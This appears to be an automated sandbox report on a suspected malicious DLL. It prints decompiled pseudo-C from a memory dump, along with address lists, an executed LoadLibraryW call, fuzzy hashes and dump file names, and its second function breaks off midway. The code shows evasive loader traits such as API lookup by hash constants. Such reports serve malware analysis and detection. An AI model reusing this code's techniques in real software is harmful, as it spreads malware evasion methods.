				signed int _t401;
				void* _t406;
				signed int _t407;
				intOrPtr* _t410;
				void* _t413;
				intOrPtr* _t416;

				asm("outsb");
				_t410 = E6EBA3930(_t273, 0, _t400, _t404);
				if( *_t410 < 0x10) {
					L6EB95150();
				}
				E6EB96020(_t273);
				E6EBA8810(_t416 + 0x114, 0x200);
				_t385 = E6EBA15C0(0xa1310f65, 0xc4d11e8a);
				if(_t385 != 0) {
					 *_t385(0,  *(_t416 + 0x114),  *(_t416 + 0x114) >> 1);
				}
				E6EBA2580(_t416 + 0x118, _t400, _t404);
				if(E6EBA9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x118))) == 0) {
					E6EBA2780(_t416 + 0xe4, _t400, _t404);
					_t131 = E6EBA9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0xe4)));
					__eflags = _t131;
					if(_t131 == 0) {
						E6EBA2580(_t416 + 0xb4, _t400, _t404);
						_t404 = _t416 + 0x98;
						E6EBAD980(_t416 + 0xbc, _t416 + 0x98, 0x5c);
						_t134 = E6EBB7600(_t416 + 0x98, 2);
						E6EB9AC00(_t416 + 0xbc, 6);
						E6EBA8CC0(_t134,  *((intOrPtr*)(_t416 + 0xbc)));
						E6EBA8CA0(_t416 + 0xbc);
						E6EBB89F0(_t404, _t416 + 0x124, 0x5c);
						E6EBB8910(_t404, _t400, _t404);
						E6EBA8CA0(_t416 + 0xb4);
						_t142 = E6EBA9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x120)));
						__eflags = _t142;
						_t23 = _t142 > 0;
						__eflags = _t23;
						_t276 = 0 | _t23;
						E6EBA8CA0(_t416 + 0x120);
					} else {
						_t276 = 1;
					}
					E6EBA8CA0(_t416 + 0xe4);
					E6EBA8CA0(_t416 + 0x118);
					__eflags = _t276;
					if(_t276 == 0) {
						_t277 = 0;
						__eflags = 0;
					} else {
						goto L11;
					}
				} else {
					E6EBA8CA0(_t416 + 0x118);
					L11:
					_t277 = 1;
				}
				E6EB9AC00(_t416 + 0x120, 2);
				E6EBAD980(_t416 + 0x128, _t416 + 0x130, 0x7e);
				E6EBA8CA0(_t416 + 0x120);
				if( *(_t416 + 0x130) > 0) {
					 *_t416 = _t410;
					_t401 = _t416 + 0x130;
					L15:
					while(1) {
						L15:
						while(1) {
							L15:
							if(E6EBA15C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6EBB7600(_t401, _t404))); // executed
							}
							_t265 =  *(_t416 + 0x130);
							while(1) {
								_t404 = 1;
								if(1 >= _t265) {
									break;
								}
								if(1 != 4) {
									goto L15;
								} else {
									_t388 =  *0x6ebcb02a & 0x000000ff;
									if(( *0x6ebcb02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L15;
									}
								}
								goto L23;
							}
							_t410 =  *_t416;
							goto L23;
						}
					}
				}
				L23:
				__eflags =  *((intOrPtr*)(_t410 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t410 + 0x2c)) != 2) {
					__eflags =  *0x6ebcb028 & 0x000000ff;
					if(( *0x6ebcb028 & 0x000000ff) == 0) {
						__eflags =  *0x6ebcb265 & 0x000000ff;
						if(( *0x6ebcb265 & 0x000000ff) == 0) {
							__eflags =  *0x6ebcb1cc - 1;
							if( *0x6ebcb1cc != 1) {
								_t243 =  *0x6ebcb1d0; // 0x160fc90
								_t244 =  *(_t243 + 4);
								_t388 =  *_t244 & 0x0000ffff;
								__eflags = ( *_t244 & 0x0000ffff) - 0x2d;
								if(( *_t244 & 0x0000ffff) != 0x2d) {
									E6EBA8AB0(_t416 + 0xcc, _t244, 0);
									_push(0x80);
									_push(0);
									E6EBBA4E0(_t416 + 0x68, __eflags,  *((intOrPtr*)(_t416 + 0xd0)), 1);
									_t247 = E6EBBBEA0(_t416 + 0x64, _t388, _t404);
									__eflags = _t247;
									if(_t247 == 0) {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6EBBBE30(_t416 + 0x64, _t404);
										}
										E6EBA8CA0(_t416 + 0x58);
										_t407 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6EBBA730(_t416 + 0xc4, _t388);
											if(__eflags == 0) {
												break;
											}
											E6EBA22A0(0x64, _t388);
											_t407 = _t407 + 1;
											__eflags = _t407 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t404 = _t416 + 0xcc;
										do {
											L6EBAAE80(_t416 + 0xcc, __eflags, _t404, 0x5c);
											E6EBA8CC0(_t416 + 0xc8,  *(_t416 + 0xcc));
											E6EBA8CA0(_t404);
											__eflags = E6EBBA730(_t416 + 0xc4, _t388);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6EBBBE30(_t416 + 0x64, _t404);
										}
										E6EBA8CA0(_t416 + 0x58);
									}
									E6EBA8CA0(_t416 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6ebcb02a & 0x000000ff) - 2;
					if(( *0x6ebcb02a & 0x000000ff) == 2) {
						L52:
						_t152 =  *0x6ebcb1ad; // 0x17a1fe8
						__eflags = _t152;
						if(_t152 == 0) {
							L54:
							_t153 =  *0x6ebcb1ad; // 0x17a1fe8
							__eflags = _t153;
							if(_t153 == 0) {
								_push(0x10);
								_t154 = E6EBA1030();
								_t416 = _t416 + 4;
								__eflags = _t154;
								if(_t154 != 0) {
									_push(0);
									_t155 = E6EBB9350(_t154);
								} else {
									_t155 = 0;
								}
								 *0x6ebcb1ad = _t155;
							}
							_t404 =  *0x6ebcb1ad; // 0x17a1fe8
							__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
							if(( *0x6ebcb02a & 0x000000ff) == 1) {
								_t388 = 0x18f8c844;
								_t401 = _t416 + 0x28;
								E6EB96AD0(_t277, _t401, 0x18f8c844, _t401, _t404, 1, 0);
								_push(_t401);
								E6EBB9520(_t404);
								E6EBB9510(_t401);
							} else {
								E6EBB9710(_t404, 0x6ebcb02d,  *0x6ebcb02b & 0x0000ffff);
							}
						} else {
							_t350 =  *0x6ebcb1ad; // 0x17a1fe8
							_t217 = E6EBB9660(_t350);
							__eflags = _t217;
							if(_t217 != 0) {
								goto L54;
							}
						}
						_t160 =  *0x6ebcb1b1; // 0x0
						__eflags = _t160;
						if(_t160 == 0) {
							L60:
							_t161 =  *0x6ebcb1b1; // 0x0
							__eflags = _t161;
							if(_t161 == 0) {
								_push(0x10);
								_t162 = E6EBA1030();
								_t416 = _t416 + 4;
								__eflags = _t162;
								if(_t162 != 0) {
									_push(0);
									_t163 = E6EBB9350(_t162);
								} else {
									_t163 = 0;
								}
								 *0x6ebcb1b1 = _t163;
							}
							_t401 =  *0x6ebcb1b1; // 0x0
							__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
							if(( *0x6ebcb02a & 0x000000ff) == 1) {
								_t388 = 0x11041f01;
								E6EB96AD0(_t277, _t416 + 0x38, 0x11041f01, _t401, _t404, 1, 1);
								_push(_t416 + 0x38);
								E6EBB9520(_t401);
								E6EBB9510(_t416 + 0x38);
								_t170 = E6EBB9650(_t401);
								__eflags = _t170;
								if(_t170 != 0) {
									_t388 = 0xd3ef7577;
									E6EB96AD0(_t277, _t416 + 8, 0xd3ef7577, _t401, _t404, 0, 0);
									E6EBB9510(_t416);
								}
							} else {
								_t404 =  *0x6ebcb1c4; // 0x6eb90000
								__eflags =  *((char*)(E6EBA3930(_t277, 0, _t401, _t404) + 0xb)) - 0x20;
								_t397 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t388 = _t404;
								E6EB99090(_t416 + 0x88, _t404,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t416 + 0x88);
								E6EBB9520(_t401);
								E6EBB9510(_t416 + 0x88);
							}
						} else {
							_t348 =  *0x6ebcb1b1; // 0x0
							_t213 = E6EBB9660(_t348);
							__eflags = _t213;
							if(_t213 != 0) {
								goto L60;
							}
						}
						_t171 =  *((intOrPtr*)(_t410 + 0x2c));
						__eflags = _t171 - 3;
						if(_t171 == 3) {
							__eflags =  *0x6ebcb1cc - 3;
							if( *0x6ebcb1cc == 3) {
								E6EBA8CC0(_t416 + 0x10c,  *((intOrPtr*)( *0x6ebcb1d0 + 8)));
							}
							_t278 = _t416 + 0x48;
							E6EBA8810(_t416 + 0x48, 0);
							_t175 = E6EBA9890(_t278, _t416 + 0x48, _t388, _t401, _t404, _t278, 0x6ebc9428,  *((intOrPtr*)(_t410 + 0x2c)));
							E6EBB0220(_t416 + 0x110,  *_t175, 0);
							E6EBA8CA0(_t278);
							L6EB98180(_t404);
						} else {
							__eflags = _t171 - 5;
							if(_t171 != 5) {
								__eflags = _t171 - 6;
								if(__eflags == 0) {
									_t325 = _t416 + 0xa4;
									 *_t325 = 0;
									 *((intOrPtr*)(_t325 + 4)) = 0;
									 *((intOrPtr*)(_t325 + 8)) = 0;
									 *((intOrPtr*)(_t325 + 0xc)) = 0;
									L6EBA5B60(_t277, _t325, _t401, _t404, __eflags);
									E6EB96740(_t416 + 0xa4);
									E6EBA1350(0x12);
									__eflags =  *(_t416 + 0xa8);
									if( *(_t416 + 0xa8) > 0) {
										_t280 = 0;
										__eflags = 0;
										do {
											_t190 = E6EBC2B00(_t416 + 0xa8, _t280);
											__eflags =  *((char*)(_t190 + 0x3c));
											if( *((char*)(_t190 + 0x3c)) == 0) {
												E6EB92A40(_t416 + 0x50, _t190);
												E6EBA8CA0(_t416 + 0x50);
											}
											_t280 = _t280 + 1;
											__eflags = _t280 -  *(_t416 + 0xa8);
										} while (_t280 <  *(_t416 + 0xa8));
									}
									E6EBC2970(_t277, _t416 + 0xa4, _t401);
									_t329 =  *(_t416 + 0xb0);
									__eflags =  *(_t416 + 0xb0);
									if( *(_t416 + 0xb0) != 0) {
										E6EB92A20(_t329, 1);
									}
								}
							} else {
								__eflags = _t277;
								if(_t277 == 0) {
									__eflags =  *0x6ebcb1cc - 1;
									if(__eflags <= 0) {
										L69:
										_t333 = _t416 + 0x18;
										 *_t333 = 0;
										 *((intOrPtr*)(_t333 + 4)) = 0;
										 *((intOrPtr*)(_t333 + 8)) = 0;
										 *((intOrPtr*)(_t333 + 0xc)) = 0;
										L6EBA5B60(_t277, _t333, _t401, _t404, __eflags);
										__eflags = ( *0x6ebcb029 & 0x000000ff) - 1;
										E6EB97DB0(_t416 + 0x18, 0 | ( *0x6ebcb029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6ebcb029 & 0x000000ff;
										if(( *0x6ebcb029 & 0x000000ff) != 0) {
											E6EBA1350(0x12);
											__eflags =  *(_t416 + 0x1c);
											if( *(_t416 + 0x1c) > 0) {
												_t281 = 0;
												__eflags = 0;
												do {
													_t200 = E6EBC2B00(_t416 + 0x1c, _t281);
													__eflags =  *((char*)(_t200 + 0x3c));
													if( *((char*)(_t200 + 0x3c)) == 0) {
														E6EB92A40(_t416 + 0x10, _t200);
														E6EBA8CA0(_t416 + 0x10);
													}
													_t281 = _t281 + 1;
													__eflags = _t281 -  *(_t416 + 0x1c);
												} while (_t281 <  *(_t416 + 0x1c));
											}
										}
										E6EBC2970(_t277, _t416 + 0x18, _t401);
										_t336 =  *(_t416 + 0x24);
										__eflags =  *(_t416 + 0x24);
										if( *(_t416 + 0x24) != 0) {
											E6EB92A20(_t336, 1);
										}
									} else {
										_t203 =  *0x6ebcb1d0; // 0x160fc90
										__eflags = ( *( *(_t203 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L69;
										}
									}
								}
							}
						}
						E6EBB8910(_t416 + 0x130, _t401, _t404);
						E6EBA8CA0(_t416 + 0x110);
						E6EBA8CA0(_t416 + 0x108);
						E6EBA7A70(_t416 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6ebcb027 & 0x000000ff;
						if(( *0x6ebcb027 & 0x000000ff) == 0) {
							goto L52;
						} else {
							__eflags = _t277;
							if(_t277 != 0) {
								goto L52;
							} else {
								__eflags =  *((char*)(_t410 + 0xb)) - 0x20;
								_t399 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6EB961B0(_t416 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t410 + 0xb)) - 0x20);
								E6EBA8810(_t416 + 0x18, 0x200);
								_t353 = E6EBA15C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t353;
								if(__eflags != 0) {
									_t240 =  *(_t416 + 0x18) >> 1;
									__eflags = _t240;
									_t399 =  *0x6ebcb1c4; // 0x6eb90000
									 *_t353(_t399,  *(_t416 + 0x18), _t240);
								}
								_push(0x80);
								_push(0);
								E6EBBA4E0(_t416 + 0x10, __eflags,  *((intOrPtr*)(_t416 + 0x20)), 1);
								E6EBBA520(_t416 + 8, _t399, _t416 + 0x1c, 0);
								__eflags =  *((char*)(_t416 + 0x10));
								if( *((char*)(_t416 + 0x10)) != 0) {
									E6EBBBE30(_t416 + 0xc, _t404);
								}
								__eflags = 0;
								E6EBA8CA0(_t416);
								_t406 = _t416 + 0x1a0;
								_t413 = _t416 + 0x2c;
								while(1) {
									E6EBA0B70(_t406, 0, 0x44);
									 *((intOrPtr*)(_t416 + 0x1ac)) = 0x44;
									E6EBA0B70(_t413, 0, 0x10);
									_t416 = _t416 + 0x18;
									E6EBA8810(_t416 + 0x4c, 0);
									_t232 = E6EBA96D0(E6EBA96D0(E6EBB0220(_t416 + 0x50,  *((intOrPtr*)(_t416 + 0x40)), 0), 0x20), 0x22);
									_t233 =  *0x6ebcb1d0; // 0x160fc90
									E6EBA96D0(E6EBB0220(_t232,  *_t233, 0), 0x22);
									_t236 = E6EBA15C0(0xa1310f65, 0x643f303c);
									__eflags = _t236;
									if(_t236 != 0) {
										break;
									}
									E6EBA8CA0(_t416 + 0x48);
								}
								_push(_t413);
								_push(_t406);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t416 + 0x68)));
								_push( *((intOrPtr*)(_t416 + 0x60)));
								asm("int3");
								return _t236;
							}
						}
					}
				} else {
					E6EBB8910(_t416 + 0x130, _t400, _t404);
					E6EBA8CA0(_t416 + 0x110);
					E6EBA8CA0(_t416 + 0x108);
					E6EBA7A70(_t416 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6eb9543d
0x6eb95451
0x6eb95457
0x6eb95459
0x6eb95459
0x6eb9545e
0x6eb9546f
0x6eb95483
0x6eb95487
0x6eb9549c
0x6eb9549c
0x6eb954a5
0x6eb954bf
0x6eb954d9
0x6eb954ec
0x6eb954f1
0x6eb954f3
0x6eb95506
0x6eb9550b
0x6eb9551c
0x6eb95525
0x6eb95538
0x6eb95546
0x6eb95552
0x6eb95563
0x6eb9556a
0x6eb95576
0x6eb95589
0x6eb95590
0x6eb95599
0x6eb95599
0x6eb95599
0x6eb9559c
0x6eb954f5
0x6eb954f5
0x6eb954f5
0x6eb955a8
0x6eb955b4
0x6eb955b9
0x6eb955bb
0x6eb955c4
0x6eb955c4
0x00000000
0x00000000
0x00000000
0x6eb954c1
0x6eb954c8
0x6eb955bd
0x6eb955bd
0x6eb955bd
0x6eb955d2
0x6eb955e8
0x6eb955f4
0x6eb95601
0x6eb95603
0x6eb95608
0x00000000
0x6eb9560f
0x00000000
0x6eb9560f
0x6eb9560f
0x6eb95622
0x6eb9562e
0x6eb9562e
0x6eb95630
0x6eb95637
0x6eb95637
0x6eb9563a
0x00000000
0x00000000
0x6eb9563f
0x00000000
0x6eb95641
0x6eb95641
0x6eb9564b
0x00000000
0x6eb9564d
0x00000000
0x6eb9564d
0x6eb9564b
0x00000000
0x6eb9563f
0x6eb9564f
0x00000000
0x6eb9564f
0x6eb9560f
0x6eb9560f
0x6eb95652
0x6eb95652
0x6eb95656
0x6eb9569c
0x6eb9569e
0x6eb956ab
0x6eb956ad
0x6eb956b3
0x6eb956ba
0x6eb956c0
0x6eb956c5
0x6eb956c8
0x6eb956cb
0x6eb956ce
0x6eb956de
0x6eb956e3
0x6eb956e8
0x6eb956f7
0x6eb95700
0x6eb95705
0x6eb95707
0x6eb95724
0x6eb95729
0x6eb9572f
0x6eb9572f
0x6eb95738
0x6eb9573d
0x6eb9573d
0x6eb9573f
0x6eb9574b
0x6eb9574d
0x00000000
0x00000000
0x6eb95754
0x6eb95759
0x6eb9575a
0x6eb9575d
0x00000000
0x00000000
0x00000000
0x6eb9575d
0x6eb9575f
0x6eb95766
0x6eb95770
0x6eb95783
0x6eb9578a
0x6eb9579b
0x6eb9579b
0x6eb95709
0x6eb95709
0x6eb9570e
0x6eb95714
0x6eb95714
0x6eb9571d
0x6eb9571d
0x6eb957a6
0x6eb957a6
0x6eb956ce
0x6eb956ba
0x6eb956ad
0x6eb957b2
0x6eb957b5
0x6eb95b3c
0x6eb95b3c
0x6eb95b41
0x6eb95b43
0x6eb95b54
0x6eb95b54
0x6eb95b59
0x6eb95b5b
0x6eb95e33
0x6eb95e35
0x6eb95e3a
0x6eb95e3d
0x6eb95e3f
0x6eb95e47
0x6eb95e49
0x6eb95e41
0x6eb95e41
0x6eb95e41
0x6eb95e4e
0x6eb95e4e
0x6eb95b61
0x6eb95b6e
0x6eb95b71
0x6eb95e0b
0x6eb95e10
0x6eb95e1a
0x6eb95e21
0x6eb95e22
0x6eb95e29
0x6eb95b77
0x6eb95b86
0x6eb95b86
0x6eb95b45
0x6eb95b45
0x6eb95b4b
0x6eb95b50
0x6eb95b52
0x00000000
0x00000000
0x6eb95b52
0x6eb95b92
0x6eb95b97
0x6eb95b99
0x6eb95baa
0x6eb95baa
0x6eb95baf
0x6eb95bb1
0x6eb95eb0
0x6eb95eb2
0x6eb95eb7
0x6eb95eba
0x6eb95ebc
0x6eb95ec4
0x6eb95ec6
0x6eb95ebe
0x6eb95ebe
0x6eb95ebe
0x6eb95ecb
0x6eb95ecb
0x6eb95bb7
0x6eb95bc4
0x6eb95bc7
0x6eb95e62
0x6eb95e68
0x6eb95e73
0x6eb95e74
0x6eb95e7d
0x6eb95e84
0x6eb95e89
0x6eb95e8b
0x6eb95e93
0x6eb95e9e
0x6eb95ea6
0x6eb95ea6
0x6eb95bcd
0x6eb95bcf
0x6eb95be8
0x6eb95bf1
0x6eb95bf5
0x6eb95bf7
0x6eb95c05
0x6eb95c06
0x6eb95c12
0x6eb95c12
0x6eb95b9b
0x6eb95b9b
0x6eb95ba1
0x6eb95ba6
0x6eb95ba8
0x00000000
0x00000000
0x6eb95ba8
0x6eb95c1e
0x6eb95c21
0x6eb95c24
0x6eb95d87
0x6eb95d8e
0x6eb95ee4
0x6eb95ee4
0x6eb95d94
0x6eb95d9c
0x6eb95daa
0x6eb95dbd
0x6eb95dc4
0x6eb95dc9
0x6eb95c2a
0x6eb95c2a
0x6eb95c2d
0x6eb95cf0
0x6eb95cf3
0x6eb95cfb
0x6eb95d02
0x6eb95d04
0x6eb95d07
0x6eb95d0a
0x6eb95d0d
0x6eb95d1b
0x6eb95d25
0x6eb95d2a
0x6eb95d32
0x6eb95d34
0x6eb95d34
0x6eb95d36
0x6eb95d3e
0x6eb95d43
0x6eb95d47
0x6eb95d4f
0x6eb95d58
0x6eb95d58
0x6eb95d5d
0x6eb95d5e
0x6eb95d5e
0x6eb95d36
0x6eb95d6e
0x6eb95d73
0x6eb95d7a
0x6eb95d7c
0x6eb95d80
0x6eb95d80
0x6eb95d7c
0x6eb95c33
0x6eb95c33
0x6eb95c35
0x6eb95c3b
0x6eb95c42
0x6eb95c58
0x6eb95c5a
0x6eb95c5e
0x6eb95c60
0x6eb95c63
0x6eb95c66
0x6eb95c69
0x6eb95c77
0x6eb95c81
0x6eb95c8d
0x6eb95c8f
0x6eb95c96
0x6eb95c9b
0x6eb95ca0
0x6eb95ca2
0x6eb95ca2
0x6eb95ca4
0x6eb95ca9
0x6eb95cae
0x6eb95cb2
0x6eb95cba
0x6eb95cc3
0x6eb95cc3
0x6eb95cc8
0x6eb95cc9
0x6eb95cc9
0x6eb95ca4
0x6eb95ca0
0x6eb95cd3
0x6eb95cd8
0x6eb95cdc
0x6eb95cde
0x6eb95ce6
0x6eb95ce6
0x6eb95c44
0x6eb95c44
0x6eb95c4f
0x6eb95c52
0x00000000
0x00000000
0x6eb95c52
0x6eb95c42
0x6eb95c35
0x6eb95c2d
0x6eb95dd5
0x6eb95de1
0x6eb95ded
0x6eb95df9
0x6eb95dfe
0x6eb95e0a
0x6eb957bb
0x6eb957c2
0x6eb957c4
0x00000000
0x6eb957ca
0x6eb957ca
0x6eb957cc
0x00000000
0x6eb957d2
0x6eb957dc
0x6eb957e4
0x6eb957e7
0x6eb957f5
0x6eb95809
0x6eb9580b
0x6eb9580d
0x6eb95813
0x6eb95813
0x6eb9581a
0x6eb95821
0x6eb95821
0x6eb95823
0x6eb95828
0x6eb95834
0x6eb95844
0x6eb95849
0x6eb9584e
0x6eb95854
0x6eb95854
0x6eb95859
0x6eb9585e
0x6eb95863
0x6eb9586a
0x6eb9586e
0x6eb95873
0x6eb95878
0x6eb95888
0x6eb9588d
0x6eb95896
0x6eb958b7
0x6eb958be
0x6eb958d0
0x6eb958df
0x6eb958e4
0x6eb958e6
0x00000000
0x00000000
0x6eb95996
0x6eb95996
0x6eb958ec
0x6eb958ed
0x6eb958ee
0x6eb958ef
0x6eb958f0
0x6eb958f2
0x6eb958f3
0x6eb958f4
0x6eb958f5
0x6eb958f9
0x6eb958fd
0x6eb958fe
0x6eb958fe
0x6eb957cc
0x6eb957c4
0x6eb95658
0x6eb9565f
0x6eb9566b
0x6eb95677
0x6eb95683
0x6eb95688
0x6eb95694
0x6eb95694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6EB9562E

Strings

)V, xrefs: 6EB955D2

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: 0456d656730c3f7a6f2f3db767cc2d7482fdac35b951c29f8188608046359866
Instruction ID: 21a265dfd1c1e19e326073b75c076059b756a6c1dbfea67fd89d4bd604e25d5f
Opcode Fuzzy Hash: 0456d656730c3f7a6f2f3db767cc2d7482fdac35b951c29f8188608046359866
Instruction Fuzzy Hash: C731E73156D2C49BCB75ABE8C8617DEBBE9EF86305F400C3CD28646190EF305545DB66

Uniqueness

Uniqueness Score: -1.00%

Function 6EB954F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6EB954F5() {
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t127;
				intOrPtr _t128;
				intOrPtr* _t132;
				void* _t147;
				void* _t157;
				intOrPtr _t160;
				signed int _t170;
				signed int _t174;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;
				unsigned int _t197;
				intOrPtr _t200;
				signed short* _t201;
				signed int _t204;
				void* _t222;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				intOrPtr* _t256;
				intOrPtr* _t264;
				signed int _t279;
				signed int _t281;
				signed int _t284;
				void* _t328;
				signed int _t329;
				signed int _t332;
				void* _t334;
				signed int _t335;
				intOrPtr _t338;
				void* _t341;
				intOrPtr* _t344;

				E6EBA8CA0(_t344 + 0xe4);
				E6EBA8CA0(_t344 + 0x118);
				if(1 == 0) {
					_t226 = 0;
					__eflags = 0;
				} else {
					_t226 = 1;
				}
				E6EB9AC00(_t344 + 0x120, 2);
				E6EBAD980(_t344 + 0x128, _t344 + 0x130, 0x7e);
				E6EBA8CA0(_t344 + 0x120);
				if( *(_t344 + 0x130) > 0) {
					 *_t344 = _t338;
					_t329 = _t344 + 0x130;
					L6:
					while(1) {
						L6:
						while(1) {
							L6:
							if(E6EBA15C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6EBB7600(_t329, _t332))); // executed
							}
							_t222 =  *(_t344 + 0x130);
							while(1) {
								_t332 = 1;
								if(1 >= _t222) {
									break;
								}
								if(1 != 4) {
									goto L6;
								} else {
									_t316 =  *0x6ebcb02a & 0x000000ff;
									if(( *0x6ebcb02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L6;
									}
								}
								goto L14;
							}
							_t338 =  *_t344;
							goto L14;
						}
					}
				}
				L14:
				__eflags =  *((intOrPtr*)(_t338 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t338 + 0x2c)) != 2) {
					__eflags =  *0x6ebcb028 & 0x000000ff;
					if(( *0x6ebcb028 & 0x000000ff) == 0) {
						__eflags =  *0x6ebcb265 & 0x000000ff;
						if(( *0x6ebcb265 & 0x000000ff) == 0) {
							__eflags =  *0x6ebcb1cc - 1;
							if( *0x6ebcb1cc != 1) {
								_t200 =  *0x6ebcb1d0; // 0x160fc90
								_t201 =  *(_t200 + 4);
								_t316 =  *_t201 & 0x0000ffff;
								__eflags = ( *_t201 & 0x0000ffff) - 0x2d;
								if(( *_t201 & 0x0000ffff) != 0x2d) {
									E6EBA8AB0(_t344 + 0xcc, _t201, 0);
									_push(0x80);
									_push(0);
									E6EBBA4E0(_t344 + 0x68, __eflags,  *((intOrPtr*)(_t344 + 0xd0)), 1);
									_t204 = E6EBBBEA0(_t344 + 0x64, _t316, _t332);
									__eflags = _t204;
									if(_t204 == 0) {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6EBBBE30(_t344 + 0x64, _t332);
										}
										E6EBA8CA0(_t344 + 0x58);
										_t335 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6EBBA730(_t344 + 0xc4, _t316);
											if(__eflags == 0) {
												break;
											}
											E6EBA22A0(0x64, _t316);
											_t335 = _t335 + 1;
											__eflags = _t335 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t332 = _t344 + 0xcc;
										do {
											L6EBAAE80(_t344 + 0xcc, __eflags, _t332, 0x5c);
											E6EBA8CC0(_t344 + 0xc8,  *(_t344 + 0xcc));
											E6EBA8CA0(_t332);
											__eflags = E6EBBA730(_t344 + 0xc4, _t316);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6EBBBE30(_t344 + 0x64, _t332);
										}
										E6EBA8CA0(_t344 + 0x58);
									}
									E6EBA8CA0(_t344 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6ebcb02a & 0x000000ff) - 2;
					if(( *0x6ebcb02a & 0x000000ff) == 2) {
						L43:
						_t109 =  *0x6ebcb1ad; // 0x17a1fe8
						__eflags = _t109;
						if(_t109 == 0) {
							L45:
							_t110 =  *0x6ebcb1ad; // 0x17a1fe8
							__eflags = _t110;
							if(_t110 == 0) {
								_push(0x10);
								_t111 = E6EBA1030();
								_t344 = _t344 + 4;
								__eflags = _t111;
								if(_t111 != 0) {
									_push(0);
									_t112 = E6EBB9350(_t111);
								} else {
									_t112 = 0;
								}
								 *0x6ebcb1ad = _t112;
							}
							_t332 =  *0x6ebcb1ad; // 0x17a1fe8
							__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
							if(( *0x6ebcb02a & 0x000000ff) == 1) {
								_t316 = 0x18f8c844;
								_t329 = _t344 + 0x28;
								E6EB96AD0(_t226, _t329, 0x18f8c844, _t329, _t332, 1, 0);
								_push(_t329);
								E6EBB9520(_t332);
								E6EBB9510(_t329);
							} else {
								E6EBB9710(_t332, 0x6ebcb02d,  *0x6ebcb02b & 0x0000ffff);
							}
						} else {
							_t281 =  *0x6ebcb1ad; // 0x17a1fe8
							_t174 = E6EBB9660(_t281);
							__eflags = _t174;
							if(_t174 != 0) {
								goto L45;
							}
						}
						_t117 =  *0x6ebcb1b1; // 0x0
						__eflags = _t117;
						if(_t117 == 0) {
							L51:
							_t118 =  *0x6ebcb1b1; // 0x0
							__eflags = _t118;
							if(_t118 == 0) {
								_push(0x10);
								_t119 = E6EBA1030();
								_t344 = _t344 + 4;
								__eflags = _t119;
								if(_t119 != 0) {
									_push(0);
									_t120 = E6EBB9350(_t119);
								} else {
									_t120 = 0;
								}
								 *0x6ebcb1b1 = _t120;
							}
							_t329 =  *0x6ebcb1b1; // 0x0
							__eflags = ( *0x6ebcb02a & 0x000000ff) - 1;
							if(( *0x6ebcb02a & 0x000000ff) == 1) {
								_t316 = 0x11041f01;
								E6EB96AD0(_t226, _t344 + 0x38, 0x11041f01, _t329, _t332, 1, 1);
								_push(_t344 + 0x38);
								E6EBB9520(_t329);
								E6EBB9510(_t344 + 0x38);
								_t127 = E6EBB9650(_t329);
								__eflags = _t127;
								if(_t127 != 0) {
									_t316 = 0xd3ef7577;
									E6EB96AD0(_t226, _t344 + 8, 0xd3ef7577, _t329, _t332, 0, 0);
									E6EBB9510(_t344);
								}
							} else {
								_t332 =  *0x6ebcb1c4; // 0x6eb90000
								__eflags =  *((char*)(E6EBA3930(_t226, 0, _t329, _t332) + 0xb)) - 0x20;
								_t325 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t316 = _t332;
